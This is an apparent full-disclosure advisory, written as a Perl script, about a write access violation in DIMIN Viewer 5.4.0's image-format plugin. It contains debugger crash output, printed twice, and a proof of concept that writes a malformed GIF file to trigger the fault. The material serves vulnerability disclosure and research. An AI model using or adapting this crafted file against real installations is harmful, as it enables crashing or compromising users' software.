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DIMIN Viewer 5.4.0 <= WriteAV Arbitrary Code Execution
From: pereira () secbiz de
Date: Sun, 9 Dec 2012 11:42:20 GMT

#!/usr/bin/perl

# DIMIN Viewer 5.4.0 <= WriteAV Arbitrary Code Execution

# Author: Jean Pascal Pereira <pereira () secbiz de>

# Vendor URI: http://www.dimin.net

# Vendor Decription:

# View images in countless formats, and apply a variety of effects with this small, fast, and powerful
# application. Dimin Viewer incorporates unique visualization ideas, like Panoramic Photographs Tool
# and Big Image Navigator. It also features multi language interface to feel yourself at home!

# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
# 
# CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: 00400000 006bb000   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 773d0000 774d3000   
C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
# ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\winmm.dll
# ModLoad: 73000000 73026000   C:\WINDOWS\system32\winspool.drv
# (fdc.b98): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 00e50000 00ef7000   C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll
# ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
# ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 00f20000 0102f000   C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# ModLoad: 01050000 0106a000   C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll
# ModLoad: 01090000 010ba000   C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll
# (fdc.b98): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 
Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll - 
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740      movdqa  xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# 0:000> r;!exploitable -v;q
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740      movdqa  xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# Exception Faulting Address: 0x1471000
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
# 
# Exception Hash (Major/Minor): 0x550b2f71.0x55423571
# 
# Stack Trace:
# div5_xtd_formats!divGetFilter+0x80c8b
# div5_xtd_formats!divGetFilter+0x80d0a
# div5_xtd_formats+0xc821
# div5_xtd_formats+0xcc07
# Instruction Address: 0x0000000000fb1a7b
# 
# 
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
# 
# CommandLine: "C:\Program Files\DIMIN\Viewer5\imgview5.exe" C:\research\Viewer5\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: 00400000 006bb000   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\advapi32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 773d0000 774d3000   
C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\oleaut32.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
# ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\winmm.dll
# ModLoad: 73000000 73026000   C:\WINDOWS\system32\winspool.drv
# (fdc.b98): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 00e50000 00ef7000   C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_dcraw.dll
# ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
# ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 00f20000 0102f000   C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# ModLoad: 01050000 0106a000   C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_morphology.dll
# ModLoad: 01090000 010ba000   C:\Program Files\DIMIN\Viewer5\plugin_filters\div5_xtdFilters.dll
# (fdc.b98): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 
Files\DIMIN\Viewer5\plugin_formats\div5_xtd_formats.dll - 
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740      movdqa  xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# 0:000> r;!exploitable -v;q
# eax=014707c0 ebx=01480020 ecx=000167ee edx=00000000 esi=01480820 edi=01470fc0
# eip=00fb1a7b esp=0011ee2c ebp=0011ee34 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# div5_xtd_formats!divGetFilter+0x80c8b:
# 00fb1a7b 660f7f6740      movdqa  xmmword ptr [edi+40h],xmm4 ds:0023:01471000=????????????????????????????????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# Exception Faulting Address: 0x1471000
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
# 
# Exception Hash (Major/Minor): 0x550b2f71.0x55423571
# 
# Stack Trace:
# div5_xtd_formats!divGetFilter+0x80c8b
# div5_xtd_formats!divGetFilter+0x80d0a
# div5_xtd_formats+0xc821
# div5_xtd_formats+0xcc07
# Instruction Address: 0x0000000000fb1a7b

# Proof of Concept:

my $crafted = "\x47\x49\x46\x38\x39\x61\x30\x00\x2C\x00\xB3\x00\x00\x00\x00\x00".
              "\x80\x00\x00\x00\x80\x00\x80\x80\x00\x00\x00\x80\x80\x00\x80\x00".
              "\x80\x80\x80\x80\x80\xC0\xC0\xC0\xFF\x00\x00\x00\xFF\x00\xFF\xFF".
              "\x00\x00\x00\xFF\xFF\x00\xFF\x00\xFF\xFF\xFF\xFF\xFF\x21\xF9\x04".
              "\x01\x00\x00\x0F\x00\x2C\x00\x00\x00\x00\x30\x00\x2C\x00\x00\xFE".
              "\x04\xF0";

open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);

# http://0xffe4.org


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